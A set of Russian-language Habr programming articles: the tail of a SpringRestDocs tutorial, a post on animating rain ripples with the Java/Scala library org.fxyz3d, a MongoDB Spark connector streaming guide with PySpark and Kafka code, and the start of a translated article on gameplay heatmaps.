> * Можно управлять исходным форматом файла документации — например скомпилировать html. Поскольку мы пользуемся Spring boot, то можно модифицировать шаги и задачи в gradle, копировать файл документации и включать его в jar-ку, делать паблишин документации на удаленный сервер, копировать документацию в архив. Таким образом у Вас всегда будет статический эндпоинт с документацией где бы не был задеплоен Ваш сервис. Для офлайн версии можно подключить pdf, epub, abook разрешения.
> * Документация нашего REST сервиса гарантировано соответствует логике работы. Документация синхронизирована с логикой работы приложения. Сделали изменения, забыли отразить их в документации — мгновенно видите падающие тесты с детальным описание разницы несоответствия.
> * Документация генерируется из тестов. Теперь для того чтобы добавить в документацию новые секции либо начать вести её — нужно начать с написания теста, да именно теста. Ведь очень часто разработчики, в условиях нехватки времени, непоставленных процессов на проекте, либо прочих причин пишут тонны кода, но совершенно не обращают внимание на важность тестов. Как ни странно но фреймворк для документирования стимулирует Вас работать по TDD
> * Как следствие, Вы поддерживаете coverege на высоком уровне. Точнее важны не проценты покрытия, которые будут рисоваться в системах анализа кода либо отчетах. Важно именно то, что Вы будете покрывать отдельными тестами различные сценарии и включать их результаты выполнения в документацию. Зеленые тесты — это всегда приятно.
>
Давайте разберёмся с работой SpringRestDocs, я буду комбинировать материал теоретическими вставками и вести практическую линию туториала, ознакомившись с которым можно настроить и использовать фреймворк.
### SpringRestDocs Pipeline
Для того чтобы начать работать с SpringRestDocs, необходимо разобраться с принципом работы его пайплайна, он достаточно простой и линейный:
Все действия происходят из тестов, кроме логики верификации ресурсов, также происходит генерация снипетов. Снипеты представляют из себя сериализированное значение определенного HTTP атрибута, с которым взаимодействовал наш контроллер. Мы подготавливаем специальный файл шаблон, в котором указываем, в какие секции должны включаться сгенерированные снипеты. На выходе получается компилированный файл документации, обратите внимание что мы можем задовать формат документации — он может быть в формате html, pdf, epub, abook.
Далее по тексту статьи мы соберем этот пайплайн, напишем тесты, настроим SpringRestDocs и скомпилим документацию.
#### Зависимости
Ниже приведу зависимости, из моего проекта работающего со spring rest docs, на примере которого будем разбирать работу
```
dependencies {
compile "org.springframework.boot:spring-boot-starter-data-jpa"
compile "org.springframework.boot:spring-boot-starter-hateoas"
compile "org.springframework.boot:spring-boot-starter-web"
compile "org.springframework.restdocs:spring-restdocs-core:$restdocsVersion"
compile "com.h2database:h2:$h2Version"
compile "org.projectlombok:lombok"
testCompile "org.springframework.boot:spring-boot-starter-test"
asciidoctor "org.springframework.restdocs:spring-restdocs-asciidoctor:$restdocsVersion"
testCompile "org.springframework.restdocs:spring-restdocs-mockmvc:$restdocsVersion"
testCompile "com.jayway.jsonpath:json-path"
}
```
#### Тестируемый Контроллер
Покажу часть контроллера, для которого мы напишем тест, подключим SpringRestDocs и сгенерим документацию.
```
@RestController
@RequestMapping("/speakers")
public class SpeakerController {
@Autowired
private SpeakerRepository speakerRepository;
@GetMapping(path = "/{id}")
public ResponseEntity getSpeaker(@PathVariable long id) {
return speakerRepository.findOne(id)
.map(speaker -> ResponseEntity.ok(new SpeakerResource(speaker)))
.orElse(new ResponseEntity(HttpStatus.NOT\_FOUND));
}
```
Давайте разберём его логику. С помощью SpringDataRepository я обращаюсь в БД за записью с ID, которая была передана в контроллер. SpringDataRepository возвращает Optional — в случае, если в нем присутствует значение мы выполняем трансформацию JPA Entity в ресурс (при этом мы можем энкапсулировать часть полей, которые мы не хотим показывать в респонсе), если же Optional.isEmpty() то мы возвращаем 404 код NOT\_FOUND.
#### Код ресурса SpeakerResource
```
@NoArgsConstructor
@AllArgsConstructor
@Getter
@Relation(value = "speaker", collectionRelation = "speakers")
public class SpeakerResource extends ResourceSupport {
private String name;
private String company;
public SpeakerResource(Speaker speaker) {
this.name = speaker.getName();
this.company = speaker.getCompany();
add(linkTo(methodOn(SpeakerController.class).getSpeaker(speaker.getId())).withSelfRel());
add(linkTo(methodOn(SpeakerController.class).getSpeakerTopics(speaker.getId())).withRel("topics"));
}
}
```
#### Напишем базовый тест для этого эндпоинта
```
@RunWith(SpringRunner.class)
@SpringBootTest
@AutoConfigureMockMvc
@AutoConfigureRestDocs(outputDir = "build/generated-snippets")
public class SpControllerTest {
@Autowired
private MockMvc mockMvc;
@Autowired
private SpeakerRepository speakerRepository;
@After
public void tearDown() {
speakerRepository.deleteAll();
}
@Test
public void testGetSpeaker() throws Exception {
// Given
Speaker speaker = Speaker.builder().name("Roman").company("Lohika").build();
speakerRepository.save(speaker);
// When
ResultActions resultActions = mockMvc.perform(get("/speakers/{id}", speaker.getId()))
.andDo(print());
// Then
resultActions.andExpect(status().isOk())
.andExpect(jsonPath("name", is("Roman")))
.andExpect(jsonPath("company", is("Lohika")));
}
}
```
В тесте я подключаю автоконфигурацию mockMVC, RestDocs. Для restdocs необходимо обязательно указать директорию, куда будут генериться снипеты **(outputDir = «buid/generated-snippets»)**, это обычный тест с использование mockMvc, который мы практически каждый день пишем когда тестируем рест сервисы. Я использую проприетарную библиотеку из депенденси spring.tests mockMvc, однако если Вы предпочитаете использовать RestAssured, то все прочитанное также будет актуально — есть лишь небольшие модификации. Мой тест выполняет вызов HTTP метода контроллера, делает верификацию статуса, полей и распечатывает в консоль request/response flow.
#### ResultsHandler
После запуска теста в его выводе мы видим следующее:
```
MockHttpServletRequest:
HTTP Method = GET
Request URI = /speakers/1
Parameters = {}
Headers = {}
Handler:
Type = smartjava.domain.speaker.SpeakerController
Method = public org.springframework.http.ResponseEntity smartjava.domain.speaker.SpeakerController.getSpeaker(long)
Async:
Async started = false
Async result = null
Resolved Exception:
Type = null
ModelAndView:
View name = null
View = null
Model = null
FlashMap:
Attributes = null
MockHttpServletResponse:
Status = 200
Error message = null
Headers = {Content-Type=[application/hal+json;charset=UTF-8]}
Content type = application/hal+json;charset=UTF-8
Body = {
"name" : "Roman",
"company" : "Lohika",
"\_links" : {
"self" : {
"href" : "http://localhost:8080/speakers/1"
},
"topics" : {
"href" : "http://localhost:8080/speakers/1/topics"
}
}
}
```
Это вывод в консоль содержимого HTTP request и response. Таким образом мы можем проследить какие значения были переданы в наш контроллер и какой был респонс из него. Вывод в консоль выполняет подключенный хендлер:
```
resultActions.andDo(print());
```
> **ResultHandler** представляет из себя функциональный интерфейс. Создав свою реализацией и подключив её в тесте, мы можем иметь доступ к **HttpRequest/HttpResponse**, который выполнялся в тесте и интерпретировать результаты выполнения, при желании делать запись этих значений в консоль, на файловую систему, в собственный файл документации и прочее.
```
public interface ResultHandler {
/**
* Perform an action on the given result.
*
* @param result the result of the executed request
* @throws Exception if a failure occurs
*/
void handle(MvcResult result) throws Exception;
}
```
#### MvcResult
Как мы видим ResultHandler имеет доступ и может интерпретировать значениями MvcResult — объекту содержащему рещультаты выполнения mockMvc теста, а через него к атрибутам двух ключевых игроков — MockHttpServletRequest, MockHttpServletResponse. Вот неполный список этих атрибутов:
Вот в качестве примера MyResultHandler, который логирует тип вызванного HTTP метода и статус код респонса:
```
public class MyResultHandler implements ResultHandler {
private Logger logger = LoggerFactory.getLogger(MyResultHandler.class);
static public ResultHandler myHandler() {
return new MyResultHandler();
}
@Override
public void handle(MvcResult result) throws Exception {
MockHttpServletRequest request = result.getRequest();
MockHttpServletResponse response = result.getResponse();
logger.error("HTTP method: {}, status code: {}", request.getMethod(), response.getStatus());
}
}
```
```
resultActions.andDo(new MyResultHandler())
```
Именно эту идею с обработкой и регистрацией использовал Pivotal для генерации документации. Нам необходимо в наш тест подключить хендлер из класса MockMvcRestDocumentation:
```
// Document
resultActions.andDo(MockMvcRestDocumentation.document("{class-name}/{method-name}"));
```
#### Давайте генерить snippets
Запустим снова тест и обратим внимание на то, что после его выполнения в директории **build/generated-snippets** создались папки с файлами:
```
./sp-controller-test/test-get-speaker:
total 48
-rw-r--r-- 1 rtsypuk staff 68B Oct 31 14:17 curl-request.adoc
-rw-r--r-- 1 rtsypuk staff 87B Oct 31 14:17 http-request.adoc
-rw-r--r-- 1 rtsypuk staff 345B Oct 31 14:17 http-response.adoc
-rw-r--r-- 1 rtsypuk staff 69B Oct 31 14:17 httpie-request.adoc
-rw-r--r-- 1 rtsypuk staff 36B Oct 31 14:17 request-body.adoc
-rw-r--r-- 1 rtsypuk staff 254B Oct 31 14:17 response-body.adoc
```
Это и есть сгенерированные snippets. По умолчанию rest docs генерирует 6 типов снипетов, я покажу часть из них.
> **Snippet** представляет из себя сериализированную в файле в текстовом представлении часть составляющей HTTP request/response нагрузки. Наиболее часто используемые сниппеты — curl-request, http-request, http-response, request-body, response-body, links (для HATEOAS сервисов), path-parameters, response-fields, headers.
>
>
curl-request.adoc
```
[source,bash]
----
$ curl 'http://localhost:8080/speakers/1' -i
----
```
http-request.adoc
```
[source,bash]
[source,http,options="nowrap"]
----
GET /speakers/1 HTTP/1.1
Host: localhost:8080
----
```
http-response.adoc
```
[source,bash]
[source,http,options="nowrap"]
----
HTTP/1.1 200 OK
Content-Type: application/hal+json;charset=UTF-8
Content-Length: 218
{
"name" : "Roman",
"company" : "Lohika",
"_links" : {
"self" : {
"href" : "http://localhost:8080/speakers/1"
},
"topics" : {
"href" : "http://localhost:8080/speakers/1/topics"
}
}
}
----
```
#### Готовим файл шаблона
Теперь необходимо подготовить файл шаблона и разметить его секции, куда будут включаться сгенерированные блоки снипетов. Шаблон ведется в гибком формате asciidoc, по умолчанию шаблон должен находится в директории **src/docs/asciidoc**:
```
== Rest convention
include::etc/rest_conv.adoc[]
== Endpoints
=== Speaker
==== Get speaker by ID
===== Curl example
include::{snippets}/sp-controller-test/test-get-speaker/curl-request.adoc[]
===== HTTP Request
include::{snippets}/sp-controller-test/test-get-speaker/http-request.adoc[]
===== HTTP Response
====== Success HTTP responses
include::{snippets}/sp-controller-test/test-get-speaker/http-response.adoc[]
====== Response fields
include::{snippets}/sp-controller-test/test-get-speaker/response-fields.adoc[]
====== HATEOAS links
include::{snippets}/sp-controller-test/test-get-speaker/links.adoc[]
```
Используя синтаксис asciidoc мы может подключать статические файлы (например в файле rest\_conv.adoc я сделал описание какие методы поддерживает сервис, в каких случаях какие статус коды должны возвращаться), а также автосгенерированные файлы snippets.
#### Статический rest\_conv.adoc
```
=== HTTP verbs
Speakers Service tries to adhere as closely as possible to standard HTTP and REST conventions in its
use of HTTP verbs.
|===
| Verb | Usage
| `GET`
| Used to retrieve a resource
| `POST`
| Used to create a new resource
| `PATCH`
| Used to update an existing resource, including partial updates
| `PUT`
| Used to update an existing resource, full updates only
| `DELETE`
| Used to delete an existing resource
|===
=== HTTP status codes
Speakers Service tries to adhere as closely as possible to standard HTTP and REST conventions in its
use of HTTP status codes.
|===
| Status code | Usage
| `200 OK`
| Standard response for successful HTTP requests.
The actual response will depend on the request method used.
In a GET request, the response will contain an entity corresponding to the requested resource.
In a POST request, the response will contain an entity describing or containing the result of the action.
| `201 Created`
| The request has been fulfilled and resulted in a new resource being created.
| `204 No Content`
| The server successfully processed the request, but is not returning any content.
| `400 Bad Request`
| The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).
| `404 Not Found`
| The requested resource could not be found but may be available again in the future. Subsequent requests by the client are permissible.
| `409 Conflict`
| The request could not be completed due to a conflict with the current state of the target resource.
| `422 Unprocessable Entity`
| Validation error has happened due to processing the posted entity.
|===
```
#### Конфигурируем build.gradle
Для того чтобы документация компилировалась необходимо сделать базовую настройку — подключить необходимые зависимости, в gradle.build buildscript.dependencies необходимо добавить asciidoctor-gradle-plugin
```
buildscript {
repositories {
jcenter()
mavenCentral()
mavenLocal()
maven { url "https://plugins.gradle.org/m2/" }
}
dependencies {
classpath "org.asciidoctor:asciidoctor-gradle-plugin:$asciiDoctorPluginVersion"
classpath "org.springframework.boot:spring-boot-gradle-plugin:$springBootVersion"
}
}
```
Применим плагин
```
apply plugin: 'org.asciidoctor.convert'
```
Теперь нам необходимо сделать базовую конфигурацию asciidoctor:
```
asciidoctor {
dependsOn test
backends = ['html5']
options doctype: 'book'
attributes = [
'source-highlighter': 'highlightjs',
'imagesdir' : './images',
'toc' : 'left',
'toclevels' : 3,
'numbered' : '',
'icons' : 'font',
'setanchors' : '',
'idprefix' : '',
'idseparator' : '-',
'docinfo1' : '',
'safe-mode-unsafe' : '',
'allow-uri-read' : '',
'snippets' : snippetsDir,
linkattrs : true,
encoding : 'utf-8'
]
inputs.dir snippetsDir
outputDir "build/asciidoc"
sourceDir 'src/docs/asciidoc'
sources {
include 'index.adoc'
}
}
```
Проверим сборку документации, запустим в консоли
```
gradle asciidoctor
```
поскольку мы указали, что задача asciidoctor зависит от запуска тестов, то сначала проранятся тесты, сгенерируют снипеты и эти снипеты будут включены в сгенерированную документацию.
#### Документация
Все описанные действия по настройке необходимо произвести один раз при поднятии проекта. Теперь каждый раз при запуске тестов у нас будут дополнительно генерироваться сниппеты и формироваться документация. Привожу несколько скринов:
Секция соглашения по HTTP методам и статус кодам
Пример документации метода Get All Speakers
Идентичная документация доступна и в формате pdf. Она удобна как офлайн версия, может быть выслана вместе со спецификациями Вашего сервиса клиентам.
#### Модификация задачи jar
Ну и поскольку мы работаем со spring boot теперь мы можем воспользоваться одним из его интересных свойств — все ресурсы которые находятся в директории **src/static** либо **src/public** будут доступны как статический контент при обращении из браузера
```
jar {
dependsOn asciidoctor
from ("${asciidoctor.outputDir}/html5") {
include '**/index.html'
include '**/images/*'
into 'static/docs'
}
}
```
Именно это мы и сделаем — после сборки документации будем копировать её в директорию /static/docs. Таким образом каждый собраный артифакт jar будет содержать статический эндоинт с документацией. Независимо от того, где он будет задеплоен, на каком окружении будет находится — перед нами всегда будет доступна актуальная версия документации.
#### Заключение
> Это только малая часть возможностей этого замечательного инструмента, невозможно всё осветить в одной статье. Всем, кто заинтересовался SpringRestDocs, предлагаю ссылки на ресурсы:
>
>
>
> * так выглядит скомпилированная документация, на этом примере можно посмотреть на asciidoc формат, насколько это мощный инструмент (кстати доку можно автоматизированно аплоудить на githubpages) [tsypuk.github.io/springrestdoc](https://tsypuk.github.io/springrestdoc/)
> * мой github с настроеным демо-проектом с SpringRestDocs [github.com/tsypuk/springrestdoc](https://github.com/tsypuk/springrestdoc) (все сконфигурино, код используйте в Ваших проектах для быстрого старта, здесь же есть демо синтаксиса asciidoctor, примеры расширений, диаграмм, которые можно легко генерировать и включать в документацию)
> * Ну и конечно [официальная документация](https://projects.spring.io/spring-restdocs/)
> | https://habr.com/ru/post/341636/ | null | ru | null |
# Java/Scala программа, имитирующая анимацию капель дождя
Видео:
Данную заметку, наверное, следует воспринимать больше как отзыв о библиотеке org.fxyz3d, так как сама программа совсем простая.
В [прошлом выпуске "Slicer: нарезка твердотельных объектов под раскрой"](https://habr.com/ru/post/567176/) я упоминал интересный предмет интерьера, который весьма мне приглянулся:
Несмотря на то, что до этого я не встречался с ruby, я [набросал программулину](https://github.com/nikita1andreev/rainDemo/blob/main/sketchupProto.rb) которая на выходе давала поверхность вида:
Сейчас я с удивлением обнаружил, что про обратную совместимость в SketchUp не слышали, и код просто так уже не запускается. Это прискорбно, но чинить его я, конечно же, не буду.
Вместо этого, я ловко создал [новую, более лучшую программу на java/scala](https://github.com/nikita1andreev/rainDemo/blob/main/MainAppDemo1.scala) на 120 строк, которая мало того что рисует такую сетку двух волн, так еще сдвигает по таймеру фазы этих волн, чем имитирует анимацию (см. ролик). Используется библиотека org.fxyz3d
В это время можно крутить камеру мышкой, и перемещать ее с клавиатуры по WASD.
В общем-то, в коде все просто, но пару комментариев дам:
* Очень удобно, что можно отнаследоваться от класса ShapeBaseSample, который является дженериком. Не очень удобно, что org.fxyz3d.samples нет внутри библиотеки (можно было просто создать еще 1 артефакт), и приходится все это хозяйство руками копировать в проект.
* Еще более неудобно, что встроенное поведение обработки клавиатуры при наследовании почему-то ломается (возможно только в scala). На починку ушло время.
* Координата Z задается функцией на основе координат текущей точки и координат двух центров колебаний:
```
def z(x:Int,y:Int):Float = {
(Math.cos(-t+Math.sqrt(pow(ox1 - x,2) + pow(oy1 - y,2)) / 5 * 2 * 3.14) * 5 * (Math.max(0,1-Math.sqrt(pow(ox1 - x,2) + pow(oy1 - y,2))/30))
+ Math.cos(-t+Math.sqrt(pow(ox2 - x,2) + pow(oy2 - y,2)) / 5 * 2 * 3.14) * 4 * (Math.max(0,1-Math.sqrt(pow(ox2 - x,2) + pow(oy2 - y,2))/30))).toFloat
}
```
Это косинус, параметром которого является расстояние до центра колебаний (плюс временное смещение), которое вычисляется банально по теореме Пифагора .
В формулу добавлен коэф. линейного затухания, который равен 1 в центре колебаний, и 0 в достаточном удалении (30).
* В качестве коллекций хранения сетки высот и линий неспроста выбраны мапы. Дело в том, что я рассчитывал оптимизировать производительность программы путем переиспользования объектов (для чего ссылки на них должны храниться), но это оказалось напрасным. Дело в том, что замещение списка точек PolyLine3D не влияет на его отражение на экране - при создании он уже породил дочерние объекты Mesh и пересоздавать их не намерен.
* Впрочем, это все не занимает практически никакого времени - затык в методе Scene.getChildren.addAll(*...*). На 30\*30 точках анимация видна, а кадр 100\*100 уже рисуется несколько секунд. Это неприемлемо.
Приходится признать, что библиотека org.fxyz3d не слишком-то пригодна для работы с морфингом объектов в реальном времени, что стало для меня некоторыми разочарованием.
Возможно, кто-то умеет ее правильно готовить, но пока думаю посмотреть что-то другое, если в будущем возникнет необходимость. | https://habr.com/ru/post/569230/ | null | ru | null |
# Потоковая передача данных с помощью Apache Spark и MongoDB
MongoDB объявила о выпуске 10.0 версии [коннектора MongoDB для Apache Spark](https://www.mongodb.com/docs/spark-connector/current/). В этой версии используется новый API Spark Data Sources второй версии (V2) с поддержкой структурированной потоковой передачи данных Spark ([Spark Structured Streaming](https://spark.apache.org/docs/latest/structured-streaming-programming-guide.html#overview)).
Зачем нужна новая версия?
-------------------------
Текущая версия MongoDB Spark Connector была первоначально написана в 2016 году и основана на API Spark Data Sources первой версии (V1). Хотя эта версия API по-прежнему поддерживается, компания Databricks выпустила обновлённую версию API, облегчающую работу таких источников данных ([Data Sources](https://spark.apache.org/docs/latest/sql-data-sources.html)), как MongoDB, со Spark. Благодаря тому, что MongoDB Spark коннектор использует V2 API, непосредственным преимуществом является более тесная интеграция со структурированной потоковой передачей данных Spark.
> **Примечание**: Что касается предыдущей версии MongoDB Spark коннектора, которая работала с API V1, то MongoDB будет продолжать поддерживать этот выпуск до тех пор, пока Databricks полностью не откажется от API Data Source первой версии. Хотя новых функций внедряться уже не будет, обновления коннектора будут включать исправления ошибок и поддержку только актуальных версий Spark.
Какую версию использовать мне?
------------------------------
Новая 10.0 версия коннектора MongoDB Spark не предназначена для прямой замены ваших приложений, использующих предыдущую версию коннектора MongoDB Spark.
Новый коннектор использует другое пространство имён с коротким названием `mongodb` (полный путь `com.mongodb.spark.sql.connector.MongoTableProvider`), в отличие от `mongo` (полный путь `com.mongodb.spark.DefaultSource`). Наличие разных пространств имён позволяет использовать обе версии коннектора в одном приложении Spark! Это полезно для модульного тестирования приложения с новым коннектором и осуществления перехода на новую версию в соответствии с вашими временными рамками.
Кроме того, мы меняем способ версионирования MongoDB Spark коннектора. Предыдущие версии коннектора MongoDB Spark соответствовали версии поддерживаемой Spark — например, версия 2.4 MongoDB Spark коннектора работала со Spark 2.4. Имейте в виду, что в последующих версиях этого уже не будет. В документации MongoDB будет чётко указано, какие версии Spark поддерживает коннектор.
Структурированная потоковая передача данных в базу данных MongoDB
-----------------------------------------------------------------
Apache Spark поставляется с механизмом обработки потоков под названием: «Структурированная потоковая обработка данных» ([Structured Streaming](https://spark.apache.org/docs/latest/structured-streaming-programming-guide.html#overview)), которая основана на SQL-движке Spark и API DataFrame. Spark Structured Streaming рассматривает каждый входящий поток данных как микропакет, постоянно добавляя каждый микропакет к целевому датасету ([Dataset](https://en.wikipedia.org/wiki/Data_set)). Это позволяет легко преобразовать существующие пакетные задания Spark в потоковые задания. Структурированная потоковая обработка данных развивалась на протяжении всех выпусков Spark, и в версии Spark 2.3 появился режим непрерывной обработки, который позволил сократить время задержки микропакетов с более чем 100 мс до примерно 1 мс. В следующем примере мы покажем вам, как передавать данные между MongoDB и Spark с помощью структурированных потоков и непрерывной обработки. Сначала мы рассмотрим чтение данных из MongoDB.
### Чтение потоковых данных из MongoDB
Вы можете передавать данные из MongoDB в Spark с помощью нового Spark коннектора. В данном примере рассматривается потоковая передача данных о биржевых активах из кластера MongoDB Atlas. Образец документа в MongoDB выглядит следующим образом:
```
{
_id: ObjectId("624767546df0f7dd8783f300"),
company_symbol: 'HSL',
company_name: 'HUNGRY SYNDROME LLC',
price: 45.74,
tx_time: '2022-04-01T16:57:56Z'
}
```
В этом примере кода мы будем использовать новый MongoDB Spark коннектор и с его помощью считывать данные из [коллекции](https://www.mongodb.com/docs/manual/core/databases-and-collections/) StockData. Когда Spark коннектор открывает соединение для потокового чтения с MongoDB, он открывает соединение и создаёт поток изменений MongoDB ([MongoDB Change Stream](https://www.mongodb.com/docs/manual/changeStreams/)) для заданной базы данных и коллекции. Поток изменений используется для подписки на изменения в MongoDB. При вставке, обновлении и удалении данных создаются события потока изменений. Именно эти события изменений передаются обратно клиенту, а в данном случае — приложению Spark. Существуют параметры конфигурации, которые могут изменить структуру сообщения о событии. Например, если вы хотите вернуть только сам документ и не включать метаданные события потока изменений, установите для параметра `spark.mongodb.change.stream.publish.full.document.only` значение `true`.
```
from pyspark import SparkContext
from pyspark.streaming import StreamingContext
from pyspark.sql import SparkSession
from pyspark.sql.functions import *
spark = SparkSession.\
builder.\
appName("streamingExampleRead").\
config('spark.jars.packages', 'org.mongodb.spark:mongo-spark-connector:10.0.0').\
getOrCreate()
query=(spark.readStream.format("mongodb")
.option('spark.mongodb.connection.uri', '')
.option('spark.mongodb.database', 'Stocks') \
.option('spark.mongodb.collection', 'StockData') \
.option('spark.mongodb.change.stream.publish.full.document.only','true') \
.option("forceDeleteTempCheckpointLocation", "true") \
.load())
query.printSchema()
```
Схема выводится из коллекции MongoDB. Из команды printSchema видно, что структура нашего документа выглядит следующим образом:
`root |-- _id: string (nullable = true) |-- company_name: string (nullable = true) |-- company_symbol: string (nullable = true) |-- price: double (nullable = true) |-- tx_time: string (nullable = true)`
Мы можем проверить, передаётся ли датасет в потоковом режиме, с помощью команды `isStreaming`.
```
query.isStreaming
```
Далее, давайте прочитаем данные из консоли, как только они будут вставлены в MongoDB.
```
query2=(query.writeStream \
.outputMode("append") \
.option("forceDeleteTempCheckpointLocation", "true") \
.format("console") \
.trigger(continuous="1 second")
.start().awaitTermination());
```
Когда приведённый выше код был запущен через spark-submit, результат выглядел следующим образом:
*Сокращено для краткости*
### Пакет данных #2
`+--------------------+--------------------+--------------+-----+-------------------+
| _id| company_name|company_symbol|price| tx_time| +--------------------+--------------------+--------------+-----+-------------------+ |62476caa6df0f7dd8...| HUNGRY SYNDROME LLC| HSL|45.99|2022-04-01 17:20:42| |62476caa6df0f7dd8...|APPETIZING MARGIN...| AMP|12.81|2022-04-01 17:20:42| |62476caa6df0f7dd8...|EMBARRASSED COCKT...| ECC|38.18|2022-04-01 17:20:42| |62476caa6df0f7dd8...|PERFECT INJURY CO...| PIC|86.85|2022-04-01 17:20:42| |62476caa6df0f7dd8...|GIDDY INNOVATIONS...| GMI|84.46|2022-04-01 17:20:42| +--------------------+--------------------+--------------+-----+-------------------+`
*Сокращено для краткости*
### Пакет данных #3
`+--------------------+--------------------+--------------+-----+-------------------+
| _id| company_name|company_symbol|price| tx_time| +--------------------+--------------------+--------------+-----+-------------------+ |62476cab6df0f7dd8...| HUNGRY SYNDROME LLC| HSL|46.04|2022-04-01 17:20:43| |62476cab6df0f7dd8...|APPETIZING MARGIN...| AMP| 12.8|2022-04-01 17:20:43| |62476cab6df0f7dd8...|EMBARRASSED COCKT...| ECC| 38.2|2022-04-01 17:20:43| |62476cab6df0f7dd8...|PERFECT INJURY CO...| PIC|86.85|2022-04-01 17:20:43| |62476cab6df0f7dd8...|GIDDY INNOVATIONS...| GMI|84.46|2022-04-01 17:20:43| +--------------------+--------------------+--------------+-----+-------------------+`
### Запись потоковых данных в MongoDB
Далее рассмотрим пример, в котором мы передаём данные из [Apache Kafka](https://kafka.apache.org/intro) в MongoDB. Здесь источником является [топик](https://kafka.apache.org/quickstart) kafka `stockdata.Stocks.StockData`. По мере поступления данных в этот топик они проходят через Spark, содержимое сообщения разбирается, преобразуется и записывается в MongoDB. Вот листинг кода с комментариями в строке:
```
from pyspark import SparkContext
from pyspark.streaming import StreamingContext
from pyspark.sql import SparkSession
from pyspark.sql import functions as F
from pyspark.sql.functions import *
from pyspark.sql.types import StructType,TimestampType, DoubleType, StringType, StructField
spark = SparkSession.\
builder.\
appName("streamingExampleWrite").\
config('spark.jars.packages', 'org.mongodb.spark:mongo-spark-connector:10.0.0').\
config('spark.jars.packages', 'org.apache.spark:spark-sql-kafka-0-10_2.12:3.0.0').\
getOrCreate()
df = spark \
.readStream \
.format("kafka") \
.option("startingOffsets", "earliest") \
.option("kafka.bootstrap.servers", "KAFKA BROKER HOST HERE") \
.option("subscribe", "stockdata.Stocks.StockData") \
.load()
schemaStock = StructType([ \
StructField("_id",StringType(),True), \
StructField("company_name",StringType(), True), \
StructField("company_symbol",StringType(), True), \
StructField("price",StringType(), True), \
StructField("tx_time",StringType(), True)])
schemaKafka = StructType([ \
StructField("payload",StringType(),True)])
```
Обратите внимание, что сообщение топика Kafka приходит в таком формате -> ключ `key` (двоичное `binary`), значение `value` (двоичное `binary`), топик `topic` (строка `string`), раздел `partition` (целое `int`), смещение `offset` (длительность `long`), временная метка `timestamp` (длительность `long`), тип временной метки `timestamptype` (целое `int`). См. [руководство по интеграции структурированного потока + Kafka (брокер Kafka версии 0.10.0 или выше)](https://spark.apache.org/docs/2.3.4/structured-streaming-kafka-integration.html) для получения дополнительной информации об интеграции Kafka и Spark.
Чтобы обработать сообщение для использования в MongoDB, мы хотим выбрать значение, которое находится в двоичном формате, и преобразовать его в JSON.
```
stockDF=df.selectExpr("CAST(value AS STRING)")
```
Для сравнения, вот пример события (значение, преобразованное в строку), которое находится в топике Kafka:
```
{
"schema": {
"type": "string",
"optional": false
},
"payload": "{\"_id\": {\"$oid\": \"6249f8096df0f7dd8785d70a\"}, \"company_symbol\": \"GMI\", \"company_name\": \"GIDDY INNOVATIONS\", \"price\": 87.57, \"tx_time\": \"2022-04-03T15:39:53Z\"}"
}
```
Мы хотим изолировать поле полезной нагрузки и преобразовать его в представление JSON с помощью `shcemaStock`, определённого выше. Для наглядности мы разбили операцию на несколько этапов, чтобы лучше разъяснить процесс. Во-первых, мы хотим преобразовать значение в JSON.
```
stockDF=stockDF.select(from_json(col('value'),schemaKafka).alias("json_data")).selectExpr('json_data.*')
```
Теперь датасет содержит знакомые данные:
```
…
{
_id: ObjectId("624c6206e152b632f88a8ee2"),
payload: '{"_id": {"$oid": "6249f8046df0f7dd8785d6f1"},
"company_symbol": "GMI", "company_name": "GIDDY MONASTICISM
INNOVATIONS", "price": 87.62, "tx_time":
"2022-04-03T15:39:48Z"}'
}, …
```
Далее мы хотим захватить только значение поля `payload` и преобразовать его в JSON, поскольку оно хранится в виде строки.
```
stockDF=stockDF.select(from_json(col('payload'),schemaStock).alias("json_data2")).selectExpr('json_data2.*')
```
Теперь мы можем выполнять любые преобразования данных. В данном случае давайте преобразуем `tx_time` в метку времени `timestamp`.
```
stockDF=stockDF.withColumn("tx_time",col("tx_time").cast("timestamp"))
```
Датасет уже имеет формат, готовый к обработке в MongoDB, поэтому давайте выгрузим его в MongoDB. Для этого воспользуемся методом `writeStream`. Имейте в виду, что в нём нужно будет задать несколько параметров. Например, при наличии опции `trigger` результаты обрабатываются пакетно. В данном примере это происходит каждые 10 секунд. Удаление поля `trigger` приведёт к непрерывной записи. Для получения дополнительной информации об опциях и параметрах ознакомьтесь с руководством по структурированной потоковой записи.
```
dsw = (
stockDF.writeStream
.format("mongodb")
.queryName("ToMDB")
.option("checkpointLocation", "/tmp/pyspark7/")
.option("forceDeleteTempCheckpointLocation", "true")
.option('spark.mongodb.connection.uri', ‘')
.option('spark.mongodb.database', 'Stocks')
.option('spark.mongodb.collection', 'Sink')
.trigger(continuous="10 seconds")
.outputMode("append")
.start().awaitTermination());
```
Идите вперёд и несите поток!
----------------------------
Потоковые данные являются важным компонентом многих типов приложений. MongoDB развивалась на протяжении многих лет, постоянно добавляя возможности и функциональность для поддержки таких типов рабочих нагрузок. С помощью MongoDB Spark Connector версии 10.0 вы можете быстро передавать потоковые данные в MongoDB и из неё с помощью нескольких строк кода.
Для получения дополнительной информации и примеров работы с новым MongoDB Spark коннектором версии 10.0, ознакомьтесь с [онлайн-документацией](https://docs.mongodb.com/spark-connector?_ga=2.207655953.2079105807.1655033794-212711251.1655033792). У вас есть ещё вопросы о коннекторах или MongoDB? Вы можете задать их на форуме [сообщества разработчиков коннекторов и интеграций для MongoDB](https://www.mongodb.com/community/forums/c/data/connectors-integrations/48).
---
НЛО прилетело и оставило здесь промокод для читателей нашего блога:
— [15% на все тарифы VDS](https://firstvds.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=vds15exeptprogrev) (кроме тарифа Прогрев) — **HABRFIRSTVDS**. | https://habr.com/ru/post/671104/ | null | ru | null |
# [Перевод] Тепловые карты: Настраиваем геймплей с помощью простой системы сбора и анализа игровых показателей
В [этой статье](http://www.gamasutra.com/view/feature/6155/hot_failure_tuning_gameplay_with_.php), взятой из сентябрьского выпуска 2010 года журнала Game Developer's Magazine, Chris Pruett, работающий в Google консультантом по разработке игр, рассказывает как он быстро и несложно реализовал удобную систему оценки игрового процесса в своей игре на платформе Android, под названием [Replica Island](http://replicaisland.net/).
